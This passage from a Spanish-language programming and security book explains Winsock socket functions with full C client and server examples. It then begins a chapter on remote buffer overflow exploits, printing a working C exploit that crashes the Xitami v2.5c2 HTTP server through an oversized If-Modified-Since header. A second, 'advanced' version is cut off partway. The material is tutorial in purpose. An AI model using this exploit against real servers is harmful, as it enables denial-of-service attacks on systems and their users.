IPPROTO_UDP: The User Datagram Protocol (UDP).
IPPROTO_ICMPV6: The Internet Control Message Protocol version 6 (ICMPv6).
IPPROTO_RM: The Pragmatic General Multicast (PGM).
Después de que un informático usa la función socket para crear su socket de comunicación, él/ella puede utilizar las
sentencias if-else para mostrar un mensaje que indicará si la función socket pudo realizar su tarea
El Libro de Teraexe Alvaro J. Gene
222
satisfactoriamente. Si por X o Y motivo la función socket no logra realizar su trabajo, la función socket va a
devolver el siguiente valor: INVALID_SOCKET. Como la función socket nos devuelve un valor de error, podemos
declarar una variable que almacene el valor de la función socket y luego utilizar las sentencias if-else de la siguiente
forma:
//Variable que almacenará el valor que nos da la función socket: AGene_Variable_Socket = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); //Usando las sentencias if-else para el valor que nos devolvió la función socket: if(AGene_Variable_Socket == INVALID_SOCKET) { printf("La funcion socket no se ha iniciado correctamente.\n"); WSACleanup(); system("PAUSE"); return 0; } else { printf("La funcion socket se ha iniciado correctamente.\n"); }
e) La Estructura SOCKADDR_IN: SOCKADDR_IN es la abreviación de Socket Address – Internet. Después de que
un informático usa la función socket para así poder crear un socket de internet, él/ella debe utilizar la estructura
SOCKADDR_IN para especificar un endpoint local/remoto. ¿Qué es un endpoint? En el campo de la informática,
un endpoint es el punto final de un canal de comunicación que usualmente se encuentra compuesto por un dominio
de comunicación (como por ejemplo AF_INET), una dirección IP, y un número de puerto. En palabras simples,
cuando se desarrolla una aplicación como un cliente o un servidor, los valores usados en la estructura
SOCKADDR_IN como la dirección IP y el número de puerto son los que le indicaran al programa a donde va a
conectar (cliente) o escuchar (servidor) para luego transferir los datos, claro, la transferencia de datos se hacen con
otras funciones que veremos más adelante. Por ahora, solamente se brindará información sobre la estructura
El Libro de Teraexe Alvaro J. Gene
223
SOCKADDR_IN y sus respectivos parámetros que nos permitirán indicar el dominio de comunicación, la dirección
IP, y el número de puerto. A continuación se muestran los tres parámetros de la estructura SOCKADDR_IN:
i. El parámetro sin_family: Un informático puede utilizar el parámetro sin_family para indicar el dominio de
comunicación; en ese caso, una persona puede seguir la siguiente sintaxis:
Variable_de_la_estructura_SOCKADDR_IN.sin_family = Dominio_de_Comunicación;
A continuación se muestra un Ejemplo:
AGene_Variable.sin_family = AF_INET;
ii. El parámetro sin_port: Una persona puede utilizar el parámetro sin_port junto a la función htons para así
especificar el número de puerto; en este caso, una persona puede seguir la siguiente sintaxis:
AGene_Variable.sin_port = htons(número_de_puerto);
A continuación se muestra un ejemplo:
AGene_Variable.sin_port = htons(2323);
iii. El Parámetro sin_addr: Un programador puede utilizar el parámetro sin_addr junto a la función inet_addr
para así especificar una dirección IP; en este caso, una persona puede seguir la siguiente sintaxis:
AGene_Variable.sin_addr.s_addr = inet_addr("número_de_IP");
A continuación se muestra un ejemplo:
AGene_Variable.sin_addr.s_addr = inet_addr("127.0.0.1");
f) La Función bind: En el desarrollo de un servidor, después de crear un socket mediante la función socket y
especificar un endpoint mediante la estructura SOCKADDR_IN, un informático debe utilizar la función bind para
así poder atar o enlazar el socket de internet a la dirección del endpoint. Para poder enlazar el socket al endpoint, un
informático puede seguir la siguiente sintaxis:
bind(Socket,(SOCKADDR *)(&Endpoint_Variable),sizeof(Endpoint_Tamaño));
El Libro de Teraexe Alvaro J. Gene
224
i. Socket: En el primer parámetro de la función bind, un informático tiene que especificar el nombre de una
variable que almacenó los datos de la función socket. Por ejemplo, antes de usar la función bind, un
programador puede utilizar la función socket escribiendo una línea de código como la siguiente:
AGene_Socket_Variable = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
En el ejemplo anterior, la variable AGene_Socket_Variable sería la que un informático tendría que escribir
en el primer parámetro de la función bind.
ii. Endpoint_Variable: En el segundo parámetro de la función bind, un informático tiene que especificar el
nombre de una variable que almacenó los datos de la estructura SOCKADDR_IN. Por ejemplo, antes de
usar la función bind, un programador puede utilizar la estructura SOCKADDR_IN de la siguiente forma:
SOCKADDR_IN AGene_Endpoint; //Se declara una variable que usará la estructura SOCKADDR_IN
AGene_Endpoint.sin_family = AF_INET; //Se especifica un dominio de comunicación.
AGene_Endpoint.sin_port = htons(2323); //Se especifica un número de puerto.
AGene_Endpoint.sin_addr.s_addr = inet_addr("127.0.0.1"); //Se especifica una dirección IP.
En el ejemplo anterior, la variable AGene_Endpoint sería la que un informático tendría que escribir en el
segundo parámetro de la función bind.
iii. Endpoint_Tamaño: En el tercer parámetro de la función bind, un informático tiene que especificar un valor
que indique el tamaño de los datos de la estructura SOCKADDR_IN. Para especificar ese valor, un
programador puede utilizar la función sizeof y escribir una línea de código como la siguiente:
sizeof(Variable_de_la_Estructura_SOCKADDR_IN)
En el ejemplo anterior, en el primer parámetro de la función sizeof, un informático debe escribir el nombre
de la variable que se creo al usar la estructura SOCKADDR_IN.
Un dato importante que un informático tiene que saber sobre la función bind es que esa función devuelve el valor de
0 si logra cumplir su tarea satisfactoriamente; por lo tanto, un programador puede utilizar las sentencias if-else para
mostrar un mensaje en la línea de comandos indicando si la función bind pudo enlazar el socket con el endpoint.
El Libro de Teraexe Alvaro J. Gene
225
g) La Función Listen: En el desarrollo de un servidor, un programador puede utilizar la función listen para escuchar las
conexiones entrantes de los clientes. En este caso, una persona puede seguir la siguiente sintaxis:
listen(Socket, Límite_de_Conexiones);
i. Socket: Después de declarar o crear una variable que almacenó el valor de la función socket, un informático
tiene que colocar el nombre de esa variable en el primer parámetro de la función listen.
ii. Límite_de_Conexiones: En el segundo parámetro de la función listen, un informático tiene que especificar
el límite de las conexiones entrantes; por ejemplo, si un programador solamente quiere que se conecte un
cliente, él/ella tiene que especificar el valor de 1 de una forma similar a la siguiente: listen(Socket, 1);.
h) La Función Accept: En el desarrollo de un servidor, después de crear un socket de internet, un informático puede
utilizar la función accept para así comenzar a aceptar conexiones entrantes; en este caso, un programador puede
seguir la siguiente sintaxis:
accept(Socket, Endpoint_Variable, Endpoint_Tamaño);
i. Socket: En el primer parámetro de la función accept, un informático tiene que especificar el nombre de una
variable que almacenó los datos de la función socket.
ii. Endpoint_Variable: En el segundo parámetro de la función accept, un informático tiene que especificar el
nombre de una variable que almacenó los datos de la estructura SOCKADDR_IN.
iii. Endpoint_Tamaño: En el tercer parámetro de la función accept, un informático tiene que especificar un
valor que indique el tamaño de los datos de la estructura SOCKADDR_IN.
En el caso de la función accept, el segundo y tercer parámetro es opcional; por lo tanto, un informático
podría colocar el valor de NULL en el segundo y tercer parámetro de la función accept de una forma similar
a la siguiente: accept(Socket, NULL, NULL);.
El Libro de Teraexe Alvaro J. Gene
226
i) La Función send: Después de aceptar las conexiones entrantes mediante la función accept, un informático puede
utilizar la función send para enviar datos o información entre un cliente y un servidor. A continuación se muestra la
sintaxis que un informático puede seguir para transferir datos mediante la función send:
send(Socket, Datos, Tamaño_de_Datos, Flags);
i. Socket: En el primer parámetro de la función send, un informático tiene que especificar el nombre de una
variable que almacenó los datos de la función socket.
ii. Datos: En el segundo parámetro de la función send, un informático tiene que especificar el nombre de una
variable que contendrá los datos que se van a transferir desde una aplicación a la otra aplicación, bien sea
desde un servidor a un cliente o desde un cliente a un servidor.
iii. Tamaño_de_Datos: En el tercer parámetro de la función send, un informático debe especificar el tamaño en
bytes de los datos o buffer que serán enviados, bien sea desde un cliente a un servidor o desde un servidor a
un cliente. Una de las mejores formas de obtener ese valor automaticamente es usando la función strlen
junto a la variable que se utilizo para almacenar los datos del mensaje. Por ejemplo, un informático puede
declarar la variable AG_Info que contiene el mensaje Bienvenido al servidor escribiendo una línea de código
como la siguiente: AG_Info = "Bienvenido al servidor!";. Luego, el nombre de la variable AG_Info es la que
el informático tendría que colocar dentro de la función strlen de la siguiente forma: strlen(AG_Info);.
iv. Flags: El cuarto parámetro de la función send es opcional y se utiliza para indicar como una llamada va a ser
realizada. En nuestro caso, como no vamos a utilizar este parámetro, solamente tenemos que colocar el valor
de cero (0).
A continuación se muestra un ejemplo de como utilizar la función send:
send(AGene_Socket, AGene_Info, strlen(AGene_Info), 0);
j) La Función memset: En el idioma inglés, mem es una abreviación de la palabra memory, la cual significa memoria
en español; por otro lado, tenemos la palabra set, la cual podría ser traducida al idioma español como fijar o ajustar.
Si unimos ambas palabras, obtenemos el siguiente resultado: ajustar memoria. Como su nombre lo indica, la
El Libro de Teraexe Alvaro J. Gene
227
función memset del archivo de cabecera memory.h se encarga de fijar o ajustar la memoria. A continuación se
muestra la sintaxis de la función memset:
memset(Variable, Ajustar, Valor);
i. Variable: En el primer parámetro de la función memset, un programador debe colocar el nombre de la
variable que va a contener o almacenar algún tipo de dato. En nuestro caso, se especificará una variable que
contendrá los datos que serán recibidos desde el servidor/cliente.
ii. Ajustar: En el segundo campo, una persona puede colocar el valor que será ajustado.
iii. Valor: En el tercer parámetro, un programador debe especificar el número de caracteres que será
almacenado.
k) La Función recv: Después de crear un socket y aceptar su conexión, un informático puede utilizar la función recv
para comenzar a recibir datos o información, bien sea desde un cliente a un servidor o desde un servidor a un cliente.
A continuación se muestra la sintaxis de la función recv:
recv(Socket, Datos, Tamaño_de_Datos, Flags);
i. Socket: En el primer parámetro de la función recv, un informático tiene que especificar el nombre de una
variable que almacenó los datos de la función socket.
ii. Datos: En el segundo parámetro de la función recv, un informático tiene que especificar el nombre de una
variable que va a contener los datos que serán recibidos por la aplicación.
iii. Tamaño_de_Datos: En el tercer parámetro de la función recv, un informático debe especificar el tamaño
límite en bytes de los datos que serán recibidos.
iv. Flags: El cuarto parámetro de la función recv es opcional. Como en la siguiente aplicación no lo vamos a
utilizar, solamente usaremos el valor de cero (0).
l) La Función shutdown: Después de utilizar la función send/recv, un informático puede utilizar la función shutdown
para dejar de enviar/recibir datos. A continuación se muestra la sintaxis de la función shutdown:
Shutdown(Socket, Operación);
El Libro de Teraexe Alvaro J. Gene
228
i. Socket: En el primer campo, un informático debe especificar el socket de internet que uso para enviar o
recibir datos.
ii. Operación: En el segundo parámetro, un programador debe especificar un valor relacionado con la
operación que él/ella desea realizar. A continuación se muestran los valores que un informático puede
utilizar en el segundo campo:
a. SD_RECEIVE: Valor para dejar de recibir datos.
b. SD_SEND: Valor para dejar de enviar datos.
c. SD_BOTH: Valor para dejar de recibir y enviar datos.
m) La Función closesocket: Después de utilizar un socket de internet, un programador puede utilizar la función
closesocket para cerrar el socket. A continuación se muestra la sintaxis de la función closesocket:
closesocket(Socket);
i. Socket: En el primer parámetro, un informático debe colocar el nombre de la variable que se usó para crear
el socket de internet.
n) La Función WSACleanup: Después de utilizar los archivos de los sockets (.dll y .lib), un informático puede escribir
la siguiente línea de código para dejar de utilizar los archivos de los sockets:
WSACleanup();
El Libro de Teraexe Alvaro J. Gene
229
Código Fuente - Servidor:
//El archivo de cabecera stdio para las funciones básicas de C: #include <stdio.h> //El archivo de cabecera winsock2.h para las funciones de sockets: #include <winsock2.h> //El archivo de cabecera memory.h para la función memset que ajustará la memoria: #include <memory.h> //Enlazando winsock2 a la librería wsock32.lib: #pragma comment(lib, "wsock32.lib") //La función Principal: int main() { printf("\n"); printf("=========================================================\n"); printf("================[ El Libro de Teraexe ]==================\n"); printf("=====================[ Servidor ]========================\n"); printf("=========================================================\n\n"); /******************************************************************** **********************[ La Función WSASTartup ]********************** ********************************************************************/ //La estructura WSADATA para almacenar datos de sockets en la variable AGene_WSA: WSADATA AGene_WSA; //La función WSAStarup para comenzar a usar archivos de sockets (.dll). //La palabra MAKEWORD para especificar la versión de los sockets (2.0). int AGene_Result = WSAStartup(MAKEWORD(2,0), &AGene_WSA); /*La función WSAStartup devolverá el valor de 0 si logra realizar su tarea; de lo contrario, la función devolverá el valor de 1.*/ if(AGene_Result == 0) { printf("WSASTartup se ha iniciado correctamente.\n"); } else { printf("WSAStartup no se ha iniciado correctamente.\n"); //La función WSACleanup para dejar de usar archivos de sockets (.dll, .lib). WSACleanup(); /*La función system realizará una pausa para que el usuario pueda ver la información anterior.*/ system("PAUSE");
El Libro de Teraexe Alvaro J. Gene
230
return 0; } /******************************************************************** ************************[ La función Socket ]************************ ********************************************************************/ /*Declarando la variable AGene_Socket, la cual será usada en el futuro para crear un socket de internet.*/ int AGene_Socket = NULL; //Usando la función socket para construir un socket: AGene_Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); //Si existe algún error, la función socket devolverá invalid_socket: if(AGene_Socket == INVALID_SOCKET) { printf("La funcion socket no se ha iniciado correctamente.\n"); WSACleanup(); system("PAUSE"); return 0; } else { printf("La funcion socket se ha iniciado correctamente.\n"); } /******************************************************************** ********************[ La Estructura SOCKADDR_IN ]******************** ********************************************************************/ /* La estructura SOCKADDR_IN se usará para especificar un endpoint (punto final del canal de comunicación), el cual estará compuesto por un dominio de comunicación, una dirección IP, y un número de puerto.*/ SOCKADDR_IN AGene_Socket_Address; /*Usando el parámetro sin_family de la estructura SOCKADDR_IN para especificar un dominio de comunicación:*/ AGene_Socket_Address.sin_family = AF_INET; /*Usando el parámetro sin_port de la estructura SOCKADDR_IN para especificar un número de puerto:*/ AGene_Socket_Address.sin_port = htons(2323); /*Usando el parámetro sin_addr de la estructura SOCKADDR_IN
El Libro de Teraexe Alvaro J. Gene
231
para especificar una dirección IP:*/ AGene_Socket_Address.sin_addr.s_addr = inet_addr("127.0.0.1"); //Declarando la variable AGene_Bind para enlazar o atar un socket: int AGene_Bind = NULL; /*Usando la función bind para enlazar o atar un socket: Primer Parámetro: Se especifica el socket que se creo mediante la función socket. Segundo Parámetro: Se especifica la variable que se creo mediante la estructura SOCKADDR_IN. Tercer Parámetro: Se especifica un valor que indique el tamaño de datos de la estructura SOCKADDR_IN. Se usa la función sizeof para obtener el tamaño de datos.*/ AGene_Bind = bind(AGene_Socket, (SOCKADDR *)(&AGene_Socket_Address), sizeof(AGene_Socket_Address)); /*La función bind devolverá el valor de 0 si logra enlazar un socket; de lo contrario, el función devolverá el valor de SOCKET_ERROR.*/ if(AGene_Bind == 0) { printf("La funcion bind se ha iniciado correctamente.\n"); } else { printf("La funcion bind no se ha iniciado correctamente.\n"); WSACleanup(); system("PAUSE"); return 0; } /******************************************************************** ************************[ La Función Listen ]************************ ********************************************************************/ /*Usando la función listen para que el network socket pueda comenzar a escuchar conexiones entrantes: Primer Parámetro: Se especifica un socket. Segundo Parámetro: Se especifica un valor relacionado con el límite de las conexiones entrantes.*/ listen(AGene_Socket, 1); /*La función listen devolverá el valor de 0 si logra realizar su función; de lo contrario, el función devolverá el valor de SOCKET_ERROR.*/ if(AGene_Bind == 0) { printf("La funcion listen se ha iniciado correctamente.\n"); }
El Libro de Teraexe Alvaro J. Gene
232
else { printf("La funcion listen no se ha iniciado correctamente.\n"); WSACleanup(); system("PAUSE"); return 0; } /******************************************************************** *************************[ A Second Socket ]************************* ********************************************************************/ //Declarando un socket temporal para esperar conexiones entrantes: SOCKET AGene_Accept_Socket; /*La función accept realizará su tarea si se producen conexiones entrantes.*/ while (1) { AGene_Accept_Socket = SOCKET_ERROR; while (AGene_Accept_Socket == SOCKET_ERROR) { printf("Aceptando conexiones entrantes...\n"); //Función Accept: AGene_Accept_Socket = accept(AGene_Socket, NULL, NULL); } printf("Cliente conectado!\n"); AGene_Socket = AGene_Accept_Socket; break; } /******************************************************************** ********************[ Enviando Datos al Cliente ]******************** ********************************************************************/ //Declarando la variable AGene_Info que almacenará los datos: char *AGene_Info; //La siguiente línea será enviada al servidor mediante la función send: AGene_Info = "Bienvenido al servidor!\n"; //La función send para enviar los datos al servidor:
El Libro de Teraexe Alvaro J. Gene
233
send(AGene_Socket, AGene_Info, strlen(AGene_Info), 0); /******************************************************************** ******************[ Recibiendo Datos del Cliente ]******************* ********************************************************************/ /*Declarando la variable AGene_Data que recibirá datos del cliente. Como se puede observar, la variable puede almacenar 512 caracteres. En este caso, el tamaño del buffer para almacenar es de 512.*/ char AGene_Data[512]; //Declarando una variable para la función recv: int AGene_Recv_Data = NULL; /*La función memset fijará el tamaño de buffer para los caracteres: //Parámetro 1: Variable. Parámetro 3: número de caracteres.*/ memset(AGene_Data, 0, 511); //Usando la función recv para recibir datos del servidor: AGene_Recv_Data = recv(AGene_Socket, AGene_Data, 512, 0); //La función printf mostrará los datos recibidos del servidor: printf("Cliente al Servidor: %s", AGene_Data); /******************************************************************** ************************[ Cerrar y Limpiar ]************************* ********************************************************************/ /*La función shutdown parará la transferencia de datos. Primer parámetro: Un coder tiene que colocar un network socket. Segundo parámetro: El valor SD_RECEIVE para dejar de recibir datos.*/ shutdown(AGene_Socket, SD_RECEIVE); //La función shutdown con el valor SD_SEND para dejar de enviar datos: shutdown(AGene_Socket, SD_SEND); //La función closesocket para cerrar un network socket: closesocket(AGene_Socket); //La función WSACleanup para dejar de usar archivos de sockets (.dll, .lib). WSACleanup(); /*La función system realizará una pausa para que el usuario pueda ver la información anterior.*/ system("PAUSE"); return 0; }
El Libro de Teraexe Alvaro J. Gene
234
Código Fuente - Cliente:
//El archivo de cabecera stdio para las funciones básicas de C:
#include <stdio.h> //El archivo de cabecera winsock2.h para las funciones de sockets: #include <winsock2.h> //El archivo de cabecera memory.h para la función memset que ajustará la memoria:
#include <memory.h> //Enlazando winsock2 a la librería wsock32.lib:
#pragma comment(lib, "wsock32.lib") //La función Principal:
int main() { printf("\n"); printf("=========================================================\n"); printf("================[ El Libro de Teraexe ]==================\n"); printf("======================[ Cliente ]========================\n"); printf("=========================================================\n\n"); /******************************************************************** **********************[ La Función WSASTartup ]**********************
********************************************************************/ //La estructura WSADATA para almacenar datos de sockets en la variable AGene_WSA: WSADATA AGene_WSA; //La función WSAStarup para comenzar a usar archivos de sockets (.dll).
//La palabra MAKEWORD para especificar la versión de los sockets (2.0). int AG_Result = WSAStartup(MAKEWORD(2,0), &AGene_WSA); /*La función WSAStartup devolverá el valor de 0 si logra realizar
su tarea; de lo contrario, la función devolverá el valor de 1.*/
if(AG_Result == 0) { printf("WSASTartup se ha iniciado correctamente.\n"); } else { printf("WSAStartup no se ha iniciado correctamente.\n"); //La función WSACleanup para dejar de usar archivos de sockets (.dll, .lib).
El Libro de Teraexe Alvaro J. Gene
235
WSACleanup(); /*La función system realizará una pausa para que el usuario
pueda ver la información anterior.*/
system("PAUSE"); return 0; } /******************************************************************** ************************[ La función Socket ]************************
********************************************************************/ /*Declarando la variable AGene_Socket, la cual será usada en el futuro
para crear un socket de internet.*/ int AGene_Socket = NULL; //Usando la función socket para construir un socket:
AGene_Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); //Si existe algún error, la función socket devolverá invalid_socket:
if(AGene_Socket == INVALID_SOCKET) { printf("La funcion socket no se ha iniciado correctamente.\n"); WSACleanup(); system("PAUSE"); return 0; } else { printf("La funcion socket se ha iniciado correctamente.\n"); } /******************************************************************** ********************[ La Estructura SOCKADDR_IN ]******************** ********************************************************************/ /* La estructura SOCKADDR_IN se usará para especificar un endpoint
(punto final del canal de comunicación), el cual estará compuesto por
un dominio de comunicación, una dirección IP, y un número de puerto.*/
El Libro de Teraexe Alvaro J. Gene
236
SOCKADDR_IN AGene_Socket_Address; /*Usando el parámetro sin_family de la estructura SOCKADDR_IN
para especificar un dominio de comunicación:*/
AGene_Socket_Address.sin_family = AF_INET; /*Usando el parámetro sin_port de la estructura SOCKADDR_IN
para especificar un número de puerto:*/
AGene_Socket_Address.sin_port = htons(2323); /*Usando el parámetro sin_addr de la estructura SOCKADDR_IN
para especificar una dirección IP:*/
AGene_Socket_Address.sin_addr.s_addr = inet_addr("127.0.0.1"); /******************************************************************** ***********************[ La Función Connect ]************************
********************************************************************/ /*Declarando la variable AGene_C (C = Conectar), la cual será usada
para conectar a un servidor.*/ int AGene_C = NULL; //Usando la función connect para conectar a un servidor:
AGene_C = connect(AGene_Socket, (SOCKADDR*)(&AGene_Socket_Address), sizeof(AGene_Socket_Address)); /*La función connect va a devolver el valor de 0 si logra conectar con el
servidor; de lo contrario, la función devolverá el valor de SOCKET_ERROR.*/
if(AGene_C == 0) { printf("El cliente ha logrado conectar con el servidor.\n"); } else { printf("La funcion connect no funciona adecuadamente.\n"); WSACleanup(); system("PAUSE"); return 0; }
El Libro de Teraexe Alvaro J. Gene
237
/******************************************************************** ******************[ Recibiendo Datos del Servidor ]****************** ********************************************************************/ /*Declarando la variable AGene_Data que recibirá datos del servidor.
Como se puede observar, la variable puede almacenar 512 caracteres. En este caso, el tamaño del buffer para almacenar es de 512.*/ char AGene_Data[512]; //Declarando una variable para la función recv:
int AGene_Recv_Data = NULL; /*La función memset fijará el tamaño de buffer para los caracteres:
//Parámetro 1: Variable. Parámetro 3: número de caracteres.*/
memset(AGene_Data, 0, 511); //Usando la función recv para recibir datos del servidor:
AGene_Recv_Data = recv(AGene_Socket, AGene_Data, 512,0); //La función printf mostrará los datos recibidos del servidor:
printf("Datos del Servidor al Cliente: %s", AGene_Data); /******************************************************************** *******************[ Enviando Datos al Servidor ]******************** ********************************************************************/ //Declarando la variable AGene_Info que almacenará los datos:
char *AGene_Info; //La siguiente línea será enviada al servidor mediante la función send:
AGene_Info = "Datos del cliente al servidor.\n"; //La función send para enviar los datos al servidor:
send(AGene_Socket, AGene_Info, strlen(AGene_Info), 0); /******************************************************************** ************************[ Cerrar y Limpiar ]************************* ********************************************************************/ /*La función shutdown para finalizar la transferencia de datos.
Primer parámetro: Se especifica un socket de internet.
Segundo parámetro: El valor SD_RECEIVE para dejar de recibir datos.*/
shutdown(AGene_Socket, SD_RECEIVE);
El Libro de Teraexe Alvaro J. Gene
238
//La función shutdown con el valor SD_SEND para dejar de enviar datos:
shutdown(AGene_Socket, SD_SEND); //La función closesocket para cerrar un network socket:
closesocket(AGene_Socket); //La función WSACleanup para dejar de usar archivos de sockets (.dll, .lib).
WSACleanup(); /*La función system realizará una pausa para que el usuario
pueda ver la información anterior.*/
system("PAUSE"); return 0; }
Resultado del Cliente y Servidor:
El Libro de Teraexe Alvaro J. Gene
239
Parte 11 – Programación de Buffer Overflow Exploits para Servidores
I. Remote Buffer Overflow Exploit para servidor HTTP Xitami
En la sección 9 que trata sobre el fuzzer bed, notamos como el servidor HTTP Xitami tiene una vulnerabilidad de buffer
overflow en el comando if-modified-since. En el servidor HTTP, si se le incluyen 76 bytes en el comando
if-modified-since, el registro EIP puede ser sobrescribo. En esta sección, usaremos los conocimientos de networking
obtenidos en la parte 10 para así desarrollar un remote buffer overflow exploit que sobrescribe el registro EIP del
servidor HTTP Xitami.
Código Fuente – Versión Simple:
//El archivo de cabecera stdio para las funciones básicas de C: #include <stdio.h> //El archivo de cabecera winsock2.h para las funciones de sockets: #include <winsock2.h> //Enlazando winsock2 a la librería wsock32.lib: #pragma comment(lib, "wsock32.lib") //La función Principal: int main() { printf("\n"); printf("=========================================================\n"); printf("================[ El Libro de Teraexe ]==================\n"); printf("==========[ Remote Buffer Overflow Exploit ]=============\n"); printf("=========================================================\n\n"); /******************************************************************** **********************[ La Función WSASTartup ]********************** ********************************************************************/ //La estructura WSADATA para almacenar datos de sockets en la variable AGene_WSA: WSADATA AGene_WSA; //La función WSAStarup para comenzar a usar archivos de sockets (.dll). //La palabra MAKEWORD para especificar la versión de los sockets (2.0). int AG_Result = WSAStartup(MAKEWORD(2,0), &AGene_WSA); /*La función WSAStartup devolverá el valor de 0 si logra realizar su tarea; de lo contrario, la función devolverá el valor de 1.*/ if(AG_Result == 0) {
El Libro de Teraexe Alvaro J. Gene
240
printf("WSASTartup se ha iniciado correctamente.\n"); } else { printf("WSAStartup no se ha iniciado correctamente.\n"); //La función WSACleanup para dejar de usar archivos de sockets (.dll, .lib). WSACleanup(); /*La función system realizará una pausa para que el usuario pueda ver la información anterior.*/ system("PAUSE"); return 0; } /******************************************************************** ************************[ La función Socket ]************************ ********************************************************************/ /*Declarando la variable AGene_Socket, la cual será usada en el futuro para crear un socket de internet.*/ int AGene_Socket = NULL; //Usando la función socket para construir un socket: AGene_Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); //Si existe algún error, la función socket devolverá invalid_socket: if(AGene_Socket == INVALID_SOCKET) { printf("La funcion socket no se ha iniciado correctamente.\n"); WSACleanup(); system("PAUSE"); return 0; } else { printf("La funcion socket se ha iniciado correctamente.\n"); } /******************************************************************** ********************[ La Estructura SOCKADDR_IN ]******************** ********************************************************************/ /* La estructura SOCKADDR_IN se usará para especificar un endpoint (punto final del canal de comunicación), el cual estará compuesto por
El Libro de Teraexe Alvaro J. Gene
241
un dominio de comunicación, una dirección IP, y un número de puerto.*/ SOCKADDR_IN AGene_Socket_Address; /*Usando el parámetro sin_family de la estructura SOCKADDR_IN para especificar un dominio de comunicación:*/ AGene_Socket_Address.sin_family = AF_INET; /*Usando el parámetro sin_port de la estructura SOCKADDR_IN para especificar un número de puerto:*/ AGene_Socket_Address.sin_port = htons(80); /*Usando el parámetro sin_addr de la estructura SOCKADDR_IN para especificar una dirección IP:*/ AGene_Socket_Address.sin_addr.s_addr = inet_addr("192.168.1.100"); /******************************************************************** ***********************[ La Función Connect ]************************ ********************************************************************/ /*Declarando la variable AGene_C (C = Conectar), la cual será usada para conectar a un servidor.*/ int AGene_C = NULL; //Usando la función connect para conectar a un servidor: AGene_C = connect(AGene_Socket, (SOCKADDR*)(&AGene_Socket_Address), sizeof(AGene_Socket_Address)); /*La función connect va a devolver el valor de 0 si logra conectar con el servidor; de lo contrario, la función devolverá el valor de SOCKET_ERROR.*/ if(AGene_C == 0) { printf("El cliente ha logrado conectar con el servidor.\n"); } else { printf("La funcion connect no funciona adecuadamente.\n"); WSACleanup(); system("PAUSE"); return 0; } /******************************************************************** *******************[ Enviando Datos al Servidor ]******************** ********************************************************************/
El Libro de Teraexe Alvaro J. Gene
242
//Declarando la variable AG_Info que almacenará los datos: char *AGene_Info; //Datos que se van a enviar al servidor HTTP Xitami: AGene_Info = "GET / HTTP/1.1\r\n" "Host: 192.168.1.100\r\n" "If-Modified-Since: Evil, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n\r\n"; //La función send para enviar los datos al servidor: send(AGene_Socket, AGene_Info, strlen(AGene_Info), 0); /******************************************************************** ************************[ Cerrar y Limpiar ]************************* ********************************************************************/ /*La función shutdown para finalizar la transferencia de datos. Primer parámetro: Se especifica un socket de internet. Segundo parámetro: El valor SD_SEND para dejar de enviar datos.*/ shutdown(AGene_Socket, SD_SEND); //La función closesocket para cerrar un network socket: closesocket(AGene_Socket); //La función WSACleanup para dejar de usar archivos de sockets (.dll, .lib). WSACleanup(); /*La función system realizará una pausa para que el usuario pueda ver la información anterior.*/ system("PAUSE"); return 0;
}
Resultado:
El Libro de Teraexe Alvaro J. Gene
243
Código Fuente – Versión Avanzada:
//El archivo de cabecera stdio para las funciones básicas de C: #include <stdio.h> //El archivo de cabecera winsock2.h para las funciones de sockets: #include <winsock2.h> //Enlazando winsock2 a la librería wsock32.lib: #pragma comment(lib, "wsock32.lib") //La función Principal: int main(int argc, char *argv[]) { if (argc <= 1) { printf("\n"); printf("=========================================================\n"); printf("==========[ Remote Buffer Overflow Exploit ]=============\n"); printf("============[ Attack: Denial of Service ]================\n"); printf("=============[ Application: Xitami v2.5c2 ]==============\n"); printf("=========================================================\n\n"); printf("Author: Alvaro J. Gene (Socket_0x03)\n"); printf("Website: www.teraexe.com\n"); printf("Email: [email protected]\n\n"); printf("Uso: AGene_Exploit IP\n"); printf("Ejemplo: AGene_Exploit 192.168.1.100\n\n"); return 0; } else { printf("\n"); printf("=========================================================\n"); printf("==========[ Remote Buffer Overflow Exploit ]=============\n"); printf("============[ Attack: Denial of Service ]================\n"); printf("=============[ Application: Xitami v2.5c2 ]==============\n"); printf("=========================================================\n\n"); printf("Author: Alvaro J. Gene (Socket_0x03)\n"); printf("Website: www.teraexe.com\n"); printf("Email: [email protected]\n\n"); printf("Uso: AGene_Exploit IP\n"); printf("Ejemplo: AGene_Exploit 192.168.1.100\n\n"); /******************************************************************** **********************[ La Función WSASTartup ]**********************
El Libro de Teraexe Alvaro J. Gene
244
********************************************************************/ //La estructura WSADATA para almacenar datos de sockets en la variable AGene_WSA: WSADATA AGene_WSA; //La función WSAStarup para comenzar a usar archivos de sockets (.dll). //La palabra MAKEWORD para especificar la versión de los sockets (2.0). int AG_Result = WSAStartup(MAKEWORD(2,0), &AGene_WSA); /*La función WSAStartup devolverá el valor de 0 si logra realizar su tarea; de lo contrario, la función devolverá el valor de 1.*/ if(AG_Result == 0) { printf("WSASTartup se ha iniciado correctamente.\n"); } else { printf("WSAStartup no se ha iniciado correctamente.\n"); //La función WSACleanup para dejar de usar archivos de sockets (.dll, .lib). WSACleanup(); /*La función system realizará una pausa para que el usuario pueda ver la información anterior.*/ system("PAUSE"); return 0; } /******************************************************************** ************************[ La función Socket ]************************ ********************************************************************/ /*Declarando la variable AGene_Socket, la cual será usada en el futuro para crear un socket de internet.*/ int AGene_Socket = NULL; //Usando la función socket para construir un socket: AGene_Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); //Si existe algún error, la función socket devolverá invalid_socket: if(AGene_Socket == INVALID_SOCKET) { printf("La funcion socket no se ha iniciado correctamente.\n"); WSACleanup(); system("PAUSE"); return 0;
El Libro de Teraexe Alvaro J. Gene
245
